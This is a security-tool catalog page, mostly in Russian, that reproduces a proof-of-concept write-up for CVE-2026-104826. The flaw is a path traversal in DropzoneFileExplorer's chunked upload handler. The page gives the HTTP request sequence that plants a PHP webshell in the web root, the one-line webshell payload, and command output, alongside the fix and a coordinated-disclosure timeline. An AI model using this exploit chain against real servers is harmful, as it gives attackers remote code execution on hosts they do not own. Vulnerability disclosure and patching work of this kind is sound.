Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-104826 — Цепочка эксплойтов proof-of-concept для CVE-2026-104826 — обход пути в обработчике чанковой загрузки DropzoneFileExplorer, который записывает PHP-вебшелл для удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/kiwknr/cve-2026-104826
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Цепочка эксплойтов proof-of-concept для CVE-2026-104826 — обход пути в обработчике чанковой загрузки DropzoneFileExplorer, который записывает PHP-вебшелл для удалённого выполнения кода.

Репозиторий
11 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-104826 - Path traversal до RCE в DropzoneFileExplorer

Обработчик возобновляемой (чанковой) загрузки доверяет клиентскому fileName вплоть до fopen(). Передайте ему ../../, и вы запишете файл за пределами разрешённой папки, за пределами корня хранилища, прямо в веб-корень. Приложение обслуживает PHP, поэтому загруженный файл выполняется.

Проект: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AdvisoryGHSA-7626-89vx-5rpc
КлассCWE-22 (Path Traversal) -> CWE-434 -> RCE
Аутентификацияпо умолчанию требуется, не требуется при AUTH_ENABLE=false
CVSS v4.08.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Затронутоv1.1 (проверено на коммите 68858e0)
Исправлено вv1.2
Автор находкиKanarat Kaeothong (Axiom0x)

Где ломается

Важны две функции. uploadInit берёт fileName из тела запроса и сохраняет его, не делая ничего, кроме trim() (inc/functions.php, около L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize позже читает его обратно и собирает выходной путь (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() сама по себе в порядке. Она вызывает realpath() и убеждается, что путь остаётся внутри корней пользователя. Проблема в том, что ей передают. $destBaseAbs и $finalDirAbs оба проверяются, но $finalAbs — тот, что фактически содержит fileName атакующего, — не проверяется никогда. fopen() получает сырую строку .../shared/../../app/shell.php, и ОС сама сворачивает ...

Стоит отметить: все остальные пути записи в этой кодовой базе либо прогоняют составленный путь через ensure_inside_allowed_roots(), либо оборачивают имя в basename(). Этот не делает ни того, ни другого. Похоже на место, которое отрефакторили, и финальная проверка потерялась.

Воспроизведение

Чистая v1.1, конфигурация по умолчанию (AUTH_ENABLE=true). Действующее лицо — обычный пользователь lowpriv, чья единственная папка — shared.

  1. Войдите как lowpriv (возьмите CSRF-токен со страницы входа, затем отправьте POST auth_action=login).

  2. Убедитесь, что песочница действительно работает. Загрузка напрямую в чужую папку отклоняется:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Используйте разрешённую папку, но отравьте fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Отправьте полезную нагрузку одним чанком:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Завершите:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    Ответ сообщает app/pwned.php. Само приложение говорит вам, что записало за пределами shared и за пределами корня хранилища.

  6. Запустите:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

Из моего собственного запуска против локального экземпляра:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

См. poc/exploit.py для полной цепочки (вход, CSRF, отравление, чанк, завершение, выполнение).

Влияние

Любой, кому разрешена загрузка, может записать файл туда, куда может писать процесс PHP, независимо от того, что говорят правила папок для отдельных пользователей. Файл .php в веб-корне — это удалённое выполнение кода от имени веб-пользователя. При AUTH_ENABLE=false шага входа нет, и это чистое неаутентифицированное RCE.

Исправление

В uploadFinalize сведите fileName к простому имени перед открытием и перепроверьте составленный путь:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

Одного basename() достаточно, чтобы остановить traversal. Добавление проверки ensure_inside_allowed_roots($finalAbs) — это версия «ремень и подтяжки», и она соответствует тому, как остальной код уже защищает записи. Та же обработка нужна ветке политики rename (около L2210), где $finalName пересчитывается. Мейнтейнер внёс это в v1.2.

Хронология

  • 2026-07-26 обнаружил, собрал и запустил полную цепочку против локальной v1.1
  • 2026-07-27 сообщил приватно (GitHub Security + письмо мейнтейнеру)
  • 2026-07-27 открыт приватный GHSA (GHSA-7626-89vx-5rpc)
  • 2026-07-28 мейнтейнер подтвердил и выпустил v1.2, advisory опубликован
  • 2026-10-02 GitHub CNA присвоил CVE-2026-104826

Ссылки

  • Advisory: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-104826

Скоординированное раскрытие, исправлено до публикации. PoC намеренно нацелен на локальный тестовый экземпляр. Не направляйте его на то, чем вы не владеете.

Скачать инструмент